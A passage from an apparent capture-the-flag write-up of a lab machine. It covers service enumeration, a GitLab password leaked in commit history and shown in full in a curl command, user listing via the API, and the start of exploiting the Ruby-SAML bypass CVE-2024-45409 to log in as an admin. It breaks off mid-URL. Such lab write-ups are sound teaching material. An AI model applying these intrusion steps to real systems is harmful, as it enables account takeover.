|_Not valid after:  2027-02-26T22:17:17
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 26 Feb 2026 22:55:56 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 46f5172a7a2f4eba8213a9bf0679aae7
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     X-Powered-By: authentik
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 26 Feb 2026 22:55:56 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 7859f4cc3fee42b0ab008940f2ebd9f3
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|_    X-Powered-By: authentik
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9000-TCP:V=7.94SVN%I=7%D=2/26%Time=69A0CF79%P=x86_64-pc-linux-gnu%r
...[snip]...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.76 seconds

</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).</p>

<p>Ports 22 and 8080 are showing TTLs of 63, which is the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:22
<span class="go">Tracing ...T
TTL LFT trace to 10.129.234.46:22/tcp
 1  10.10.14.1 21.1ms
 2  [target open] 10.129.234.46:22 21.6ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:8080
<span class="go">Tracing ...T
TTL LFT trace to 10.129.234.46:8080/tcp
 1  10.10.14.1 20.7ms
 2  [target open] 10.129.234.46:8080 21.7ms
</span></code></pre></div></div>

<p>The other four ports are an additional hop away:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:80
<span class="go">Tracing ....T
TTL LFT trace to 10.129.234.46:80/tcp
 1  10.10.14.1 21.0ms
 2  10.129.234.46 21.2ms
 3  [target open] 10.129.234.46:80 21.3ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:443
<span class="go">Tracing ....T
TTL LFT trace to 10.129.234.46:443/tcp
 1  10.10.14.1 20.9ms
 2  10.129.234.46 21.4ms
 3  [target open] 10.129.234.46:443 22.1ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:9000
<span class="go">Tracing ....T
TTL LFT trace to 10.129.234.46:9000/tcp
 1  10.10.14.1 21.4ms
 2  10.129.234.46 21.5ms
 3  [target open] 10.129.234.46:9000 21.5ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.234.46:9443
<span class="go">Tracing ....T
TTL LFT trace to 10.129.234.46:9443/tcp
 1  10.10.14.1 20.9ms
 2  10.129.234.46 21.3ms
 3  [target open] 10.129.234.46:9443 21.9ms
</span></code></pre></div></div>

<p>That suggests they are running in one or more containers.</p>

<p>Port 80 shows a redirect to <code class="language-plaintext highlighter-rouge">gitlab.barrier.vl</code>. That same domain is in the TLS certificate for port 443. I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to bruteforce for any other subdomains of <code class="language-plaintext highlighter-rouge">barrier.vl</code> that respond differently on both HTTP and HTTPs, but not find anything. I’ll add the domain and subdomain to my <code class="language-plaintext highlighter-rouge">hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.234.46 barrier.vl gitlab.barrier.vl
</code></pre></div></div>

<p>Ports 9000 and 9443 both show headers that reference <a href="https://goauthentik.io/">Authentik</a>.</p>

<h3 id="gitlabbarriervl---tcp-80--443">gitlab.barrier.vl - TCP 80 / 443</h3>

<h4 id="site">Site</h4>

<p>Visiting the site over HTTP or HTTPS redirects to a GitLab signin page (over HTTPS):</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260227165526620.webp" />
    <img loading="lazy" src="/img/image-20260227165526620.png" alt="image-20260227165526620" class="include_image " />
</picture>

<p>Clicking “Explore” at the bottom right shows one public repo:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228123858542.webp" />
    <img loading="lazy" src="/img/image-20260228123858542.png" alt="image-20260228123858542" class="include_image " />
</picture>

<p>It’s got a single Python script:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228123916135.webp" />
    <img loading="lazy" src="/img/image-20260228123916135.png" alt="image-20260228123916135" class="include_image " />
</picture>

<p>The script uses hard-coded credentials to connect to this GitLab instance and then list repos:</p>

<div class="language-python code-collapse highlighter-rouge" data-trunc="500"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">requests</span>
<span class="kn">from</span> <span class="n">urllib.parse</span> <span class="kn">import</span> <span class="n">urljoin</span>
<span class="kn">import</span> <span class="n">urllib3</span>
<span class="n">urllib3</span><span class="p">.</span><span class="nf">disable_warnings</span><span class="p">(</span><span class="n">urllib3</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="n">InsecureRequestWarning</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_gitlab_repos</span><span class="p">():</span>
    <span class="n">base_url</span> <span class="o">=</span> <span class="sh">'</span><span class="s">https://gitlab.barrier.vl</span><span class="sh">'</span>
    <span class="n">api_url</span> <span class="o">=</span> <span class="nf">urljoin</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="sh">'</span><span class="s">/api/v4/</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">auth_data</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">grant_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">password</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">username</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">satoru</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">password</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">***</span><span class="sh">'</span>
    <span class="p">}</span>
    
    <span class="k">try</span><span class="p">:</span>
        <span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nc">Session</span><span class="p">()</span>
        <span class="n">session</span><span class="p">.</span><span class="n">verify</span> <span class="o">=</span> <span class="bp">False</span>
        
        <span class="n">response</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="nf">urljoin</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="sh">'</span><span class="s">/oauth/token</span><span class="sh">'</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="n">auth_data</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        
        <span class="n">token</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">json</span><span class="p">()[</span><span class="sh">'</span><span class="s">access_token</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">Authorization</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Bearer </span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="sh">'</span><span class="p">}</span>
        
        <span class="n">projects_response</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="nf">urljoin</span><span class="p">(</span><span class="n">api_url</span><span class="p">,</span> <span class="sh">'</span><span class="s">projects</span><span class="sh">'</span><span class="p">),</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
        <span class="n">projects_response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        
        <span class="n">projects</span> <span class="o">=</span> <span class="n">projects_response</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Available repositories:</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">project</span> <span class="ow">in</span> <span class="n">projects</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">Name: </span><span class="si">{</span><span class="n">project</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Description: </span><span class="si">{</span><span class="n">project</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">No description available</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">URL: </span><span class="si">{</span><span class="n">project</span><span class="p">[</span><span class="sh">'</span><span class="s">web_url</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Last activity: </span><span class="si">{</span><span class="n">project</span><span class="p">[</span><span class="sh">'</span><span class="s">last_activity_at</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span> <span class="o">*</span> <span class="mi">50</span><span class="p">)</span>
            
    <span class="k">except</span> <span class="n">requests</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="n">RequestException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error occurred: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="nf">hasattr</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">response</span><span class="p">,</span> <span class="sh">'</span><span class="s">text</span><span class="sh">'</span><span class="p">):</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Response text: </span><span class="si">{</span><span class="n">e</span><span class="p">.</span><span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="n">session</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">get_gitlab_repos</span><span class="p">()</span>
</code></pre></div></div>

<p>The user is satoru, and the password is redacted. Looking at the changes on that file in previous commit shows the password:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228124111044.webp" />
    <img loading="lazy" src="/img/image-20260228124111044.png" alt="image-20260228124111044" class="include_image " />
</picture>

<p>These credentials do work to login. There are no new repos at this point, but I can create repos. I don’t see any runners available.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show the nginx server as well as that this is GitLab:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">2</span> <span class="m">302</span> <span class="ne">Found</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Fri, 27 Feb 2026 21:54:55 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">https://gitlab.barrier.vl/users/sign_in</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span><span class="s"> </span>
<span class="na">Permissions-Policy</span><span class="p">:</span> <span class="s">interest-cohort=()</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">X-Download-Options</span><span class="p">:</span> <span class="s">noopen</span>
<span class="na">X-Frame-Options</span><span class="p">:</span> <span class="s">SAMEORIGIN</span>
<span class="na">X-Gitlab-Meta</span><span class="p">:</span> <span class="s">{"correlation_id":"01KJGHHZ90M69E1ZG4VWP5ZWT2","version":"1"}</span>
<span class="na">X-Permitted-Cross-Domain-Policies</span><span class="p">:</span> <span class="s">none</span>
<span class="na">X-Request-Id</span><span class="p">:</span> <span class="s">01KJGHHZ90M69E1ZG4VWP5ZWT2</span>
<span class="na">X-Runtime</span><span class="p">:</span> <span class="s">0.058930</span>
<span class="na">X-Ua-Compatible</span><span class="p">:</span> <span class="s">IE=edge</span>
<span class="na">X-Xss-Protection</span><span class="p">:</span> <span class="s">1; mode=block</span>
<span class="na">Strict-Transport-Security</span><span class="p">:</span> <span class="s">max-age=63072000</span>
<span class="na">Referrer-Policy</span><span class="p">:</span> <span class="s">strict-origin-when-cross-origin</span>
</code></pre></div></div>

<p>On the <code class="language-plaintext highlighter-rouge">/help</code> page, there’s a version in the HTML source:</p>

<p><a href="/img/image-20260228123613460.png"><img src="/img/image-20260228123613460.png" alt="image-20260228123613460" /><em>Click for full size image</em></a></p>

<p>It’s version 17.3.2. I’m going to skip the directory brute force on this known software.</p>

<h3 id="tomcat---tcp-8080">Tomcat - TCP 8080</h3>

<h4 id="site-1">Site</h4>

<p>The site on 8080 is the default <a href="https://tomcat.apache.org/">Apache Tomcat</a> page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228130146716.webp" />
    <img loading="lazy" src="/img/image-20260228130146716.png" alt="image-20260228130146716" class="include_image " />
</picture>

<p><code class="language-plaintext highlighter-rouge">/manager</code> is where the admin page typically is, but it pops auth and the satoru creds don’t work.</p>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The HTTP response headers don’t show much:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> 
<span class="na">Accept-Ranges</span><span class="p">:</span> <span class="s">bytes</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">W/"1895-1734881225489"</span>
<span class="na">Last-Modified</span><span class="p">:</span> <span class="s">Sun, 22 Dec 2024 15:27:05 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">1895</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sat, 28 Feb 2026 18:05:12 GMT</span>
<span class="na">Keep-Alive</span><span class="p">:</span> <span class="s">timeout=20</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
</code></pre></div></div>

<p>The 404 page is the <a href="/cheatsheets/404#tomcat">default Tomcat 404</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228130551294.webp" />
    <img loading="lazy" src="/img/image-20260228130551294.png" alt="image-20260228130551294" class="include_image " />
</picture>

<p>It gives the Tomcat version of 9.0.58.</p>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>Brute force finds the well known manager pages:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://barrier.vl:8080
<span class="go">                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://barrier.vl:8080
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        1l       69w        -c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://barrier.vl:8080/manager/ =&gt; </span><span class="feroxbuster-yellow">http://barrier.vl:8080/manager/html</span><span class="go">
</span><span class="feroxbuster-red">401</span><span class="go">      GET       63l      291w     2499c http://barrier.vl:8080/manager/html
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://barrier.vl:8080/host-manager/ =&gt; </span><span class="feroxbuster-yellow">http://barrier.vl:8080/host-manager/html</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://barrier.vl:8080/manager =&gt; </span><span class="feroxbuster-yellow">http://barrier.vl:8080/manager/</span><span class="go">
</span><span class="feroxbuster-red">401</span><span class="go">      GET       54l      241w     2044c http://barrier.vl:8080/host-manager/html
</span><span class="feroxbuster-green">200</span><span class="go">      GET       29l      211w     1895c http://barrier.vl:8080/
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/plain]
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/[
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/]
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/quote]
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/extension]
</span><span class="feroxbuster-red">400</span><span class="go">      GET        1l       72w      771c http://barrier.vl:8080/[0-9]
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 24s    30008/30008   0s      </span><span class="feroxbuster-green">found</span><span class="go">:12      </span><span class="feroxbuster-red">errors</span><span class="go">:0      
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 24s    30000/30000   1263/s  http://barrier.vl:8080/   
</span></code></pre></div></div>

<p>Nothing else too interesting.</p>

<h3 id="authentik---tcp-9000--9443">Authentik - TCP 9000 / 9443</h3>

<p>Both 9000 and 9443 are serving an instance of <a href="https://goauthentik.io/">Authentik</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228131102213.webp" />
    <img loading="lazy" src="/img/image-20260228131102213.png" alt="image-20260228131102213" class="include_image " />
</picture>

<p><a href="https://goauthentik.io/">Authentik</a> is an open-source Identity Provider (IdP) and Single Sign-On (SSO) solution. It supports protocols like SAML, OAuth2, OpenID Connect, and LDAP, allowing organizations to centralize authentication across multiple applications, acting as a unified login portal for services like GitLab, Grafana, Nextcloud, etc. It’s self-hosted and often deployed via Docker.</p>

<p>The satoru creds work, showing two applications on login:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228131410968.webp" />
    <img loading="lazy" src="/img/image-20260228131410968.png" alt="image-20260228131410968" class="include_image " />
</picture>

<p>Clicking “Gitlab” logs me in:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228131436791.webp" />
    <img loading="lazy" src="/img/image-20260228131436791.png" alt="image-20260228131436791" class="include_image " />
</picture>

<p>And clicking “Continue” loads GitLab. If I look at the requests, it’s using <a href="https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language">SAML</a> to authenticate to GitLab:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228133518213.webp" />
    <img loading="lazy" src="/img/image-20260228133518213.png" alt="image-20260228133518213" class="include_image " />
</picture>

<p><a href="https://guacamole.apache.org/">Apache Guacamole</a> is an open-source clientless remote desktop gateway. It lets users access remote desktops (via RDP, VNC, SSH, Telnet) through a web browser through an HTML5-based interface. Logging in there ends up at a Tomcat application, <code class="language-plaintext highlighter-rouge">http://barrier.vl:8080/guacamole/#/</code>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228131804902.webp" />
    <img loading="lazy" src="/img/image-20260228131804902.png" alt="image-20260228131804902" class="include_image " />
</picture>

<p>I’m logged in as satoru, but I don’t seem to have any access to anything.</p>

<h2 id="shell-as-maki">Shell as maki</h2>

<h3 id="admin-gitlab-access">Admin GitLab Access</h3>

<h4 id="cve-2024-45409-background">CVE-2024-45409 Background</h4>

<p>Looking at the <a href="https://about.gitlab.com/releases/">GitLab releases page</a> for versions shortly after 17.3.2, I’ll find the <a href="https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/">release for 17.3.3</a>, which has a single fix:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228133037699.webp" />
    <img loading="lazy" src="/img/image-20260228133037699.png" alt="image-20260228133037699" class="include_image " />
</picture>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-45409">CVE-2024-45409</a> as:</p>

<blockquote>
  <p>The Ruby SAML library is for implementing the client side of a SAML  authorization. Ruby-SAML in &lt;= 12.2 and 1.13.0 &lt;= 1.16.0 does not  properly verify the signature of the SAML Response. An unauthenticated  attacker with access to any signed saml document (by the IdP) can thus  forge a SAML Response/Assertion with arbitrary contents. This would  allow the attacker to log in as arbitrary user within the vulnerable  system. This vulnerability is fixed in 1.17.0 and 1.12.3.</p>
</blockquote>

<p>That seems very useful here. I can use SAML to login as any user!</p>

<h4 id="enumerate-gitlab-users">Enumerate GitLab Users</h4>

<p>To know what user I want to login as, I’ll need to know the available usernames. I’ll need an API token, which I’ll get by going to the Preferences page (clicking on the logged in user’s icon) and then “Access tokens”. There I’ll click “Add new token”, giving it all the scopes:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228125740932.webp" />
    <img loading="lazy" src="/img/image-20260228125740932.png" alt="image-20260228125740932" class="include_image " />
</picture>

<p>I can also request a token from the API:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-sk</span> https://gitlab.barrier.vl/oauth/token <span class="nt">-d</span> <span class="s2">"grant_type=password&amp;username=satoru&amp;password=dGJ2V72SUEMsM3Ca"</span>
<span class="go">{"access_token":"f7e83b0e835f41f74d64aba66b595c736aba3b294bbd84364962ebe09ea82871","token_type":"Bearer","expires_in":7200,"refresh_token":"aa077503de38efeeab065671c96c0504bb818a5d245396a717570e1c87e5726d","scope":"api","created_at":1772301483}
</span></code></pre></div></div>

<p>Either of these work as a <code class="language-plaintext highlighter-rouge">Bearer</code> token to list users:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-sk</span> <span class="nt">--header</span> <span class="s2">"Authorization: Bearer glpat-LPHP2BvZbzA4kjLGdyUc"</span> <span class="s2">"https://gitlab.barrier.vl/api/v4/users?per_page=100"</span> | jq <span class="nb">.</span>
<span class="go">[
  {
    "id": 4,
    "username": "support-bot",
    "name": "GitLab Support Bot",
    "state": "active",
    "locked": false,
    "avatar_url": "https://gitlab.barrier.vl/uploads/-/system/user/avatar/4/support-bot.png",
    "web_url": "https://gitlab.barrier.vl/support-bot"
  },
  {
    "id": 3,
    "username": "alert-bot",
    "name": "GitLab Alert Bot",
    "state": "active",
    "locked": false,
    "avatar_url": "https://gitlab.barrier.vl/uploads/-/system/user/avatar/3/alert-bot.png",
    "web_url": "https://gitlab.barrier.vl/alert-bot"
  },
  {
    "id": 2,
    "username": "satoru",
    "name": "satoru",
    "state": "active",
    "locked": false,
    "avatar_url": "https://secure.gravatar.com/avatar/f76962cdfb535a817fc9ff0e8fe34e28e92ba91df930af41f610fe8288e89a17?s=80&amp;d=identicon",
    "web_url": "https://gitlab.barrier.vl/satoru"
  },
  {
    "id": 1,
    "username": "akadmin",
    "name": "akadmin",
    "state": "active",
    "locked": false,
    "avatar_url": "https://secure.gravatar.com/avatar/818e54f1cbac56d3843c45d092853330b4d2cb8a6a7feed4703d3019a6993314?s=80&amp;d=identicon",
    "web_url": "https://gitlab.barrier.vl/akadmin"
  }
]
</span></code></pre></div></div>

<p>akadmin is the <a href="https://docs.goauthentik.io/install-config/automated-install/">default admin name used by Authentik</a>!</p>

<h4 id="exploit-cve-2024-45409">Exploit CVE-2024-45409</h4>

<p>Synacktiv has a <a href="https://github.com/synacktiv/CVE-2024-45409">POC</a>. I’ll intercept the SAML XML assertion and use the script to modify it and put it back.</p>

<p>I’ll sign out of GitLab, and load the page in Authentik that shows the applications. Now I’ll enable interception in Burp Proxy, and launch GitLab from Authentic (I like to open it in a new tab so I keep the applications page).</p>

<p>After allowing a few requests to pass through, there will be the SAML request to <code class="language-plaintext highlighter-rouge">gitlab.barrier.vl</code>:</p>

<p><a href="/img/image-20260228135531200.png"><img src="/img/image-20260228135531200.png" alt="image-20260228135531200" /><em>Click for full size image</em></a></p>

<p>That blob is the SAML assertion. It’s actually XML that’s been deflated, then base64-encoded, and then URL encoded. I can reverse that with <a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode(true)From_Base64('A-Za-z0-9%2B/%3D',true,false)Raw_Inflate(0,0,'Adaptive',false,false)&amp;input=blZoWms1czZ0MzNuVjZUNlBGSUpzdzFkSjZuTGFMRE5iR3p3eXkwR01aalJEQWI4NnolMkZjbmM1SjV5VDVjbTlWVjdtMTJWcGEydHBiMHRMZm5WOFd6Yk1GdXFhdU92QmhLb3VxZTM0eGZuNGEydXE1OXJ1c2U2NzhFblRQZmZoc3MlMkJyJTJCR2YlMkJFUGpkdDNkZGhYVHg5MSUyQlgzUGZ5dUEyMmYxZFZibDZqNyUyRkpUMmZmT01JT000ZmhxSlQzV2JJRGlLb2dqS0lJdFAxR1hKWDIlMkZlWmZSNyUyQkJMMGZ1VDMlMkZwdiUyRkJLcndGJTJGZ1lncElQJTJGTVZqZ1QlMkJDdGx0WWZYNWFVSjQlMkJLRjAzQUtYcWVyJTJGcUZ4T0tyejZpJTJCRWVjUG1EME0wVSUyQms4VDU2WU1BdWo2ciUyRlA2bDEyT0ViaGtpeWZyQ0R6NEZmdHRtb1AxMEs1QmhtVyUyQkglMkJFT2ZJbyUyRm9JS0ZmRklFZjVzc2d3dWVuJTJGd1VSUThWQjdJT1lKRWgwUmRLVVQ4WUFwV2hBUkF2SDFkT1h2eCUyRmRubDhZdFY4ZU9LRHFzJTJGeHY1SHZ6MzY4TGFQZCUyQlAzVHZXM3dkZ1E5SHZ4akE3eVBYdlhnJTJGMjBNWWdxNTdRcjY4anZBZTlKbDlXNzRmQSUyRmFZUzd4ZXJRQzVBbGlBMFNSS1VRRVQlMkJqNiUyQlluQUtvM0NLV2YxUlhQOXN2dEhDTkV1VzZBOHQlMkJBSzlOVUdrVkhIOTJ1YjlxcTZ5SmRyWiUyRldXTlZOQ25kZlNCTFpLNnpmcTAlMkZHVldZT2dqS3o2Q0tmd1lZbVQxMXhJSzZOMTRmNHowbWwlMkJQJTJGUDFZMWkzNHElMkIzOGoxM3E0OVRxRGRNQ01XaVhCQVFmSEV2NSUyRlBUWGZ3JTJGaGE3OUQ2MWRkWExkbDkwUDd2N0o2VjFXZ3VvR2lia0Qwc1h1YjNCdXpQMGY4UmNTUW45QVVzbVFwbXY5aiUyRkI3MSUyQlQ1cXJ6QXZPZjNsWWliZVhWUHhLbzNrQVo0NHl0c2lGc1htWFRBM1p6eW9SJTJCcE1DbDZNdERYNSUyQllYVDk1MWZXWDViaEslMkZ0SHpQcDI4SyUyRmR2SW9WcE9ZZ0RGWEtVWnp1Wkkxd3JhSUpnTkhSWlU5a3pHTVhkU0RjRzVqMXEyN3NEVHhEWGExV0VRaXJqSkRrNU1KbGFUT3A2NERUTlRCMFlQQkM2RWRuRDB4TzR1bGRZRXhZd3hDZWElMkJZeGdUYzlpbzVXWXdMcW5zN3p0dmJTaE9yVlFSdEZVRldYViUyRlVwcXR6SDYzdTNLZVNaVnZFN3RMelRRbGdHRzFFNmRMZVVVbUJUYmZTWlptSmtrQnNxZk85VnlpSmdZNXBJb3BuWURTYlNLUWpnaHFTbGFMY3ZjSG5kTzJ1RVdnWEJuc2N2JTJCNHZpbCUyQmR3cFZLekk3QjZVMWU1QlRmaGhrSjdaSm1lNENsJTJCQ2lIMmVidWhGS0FYazRCc3E1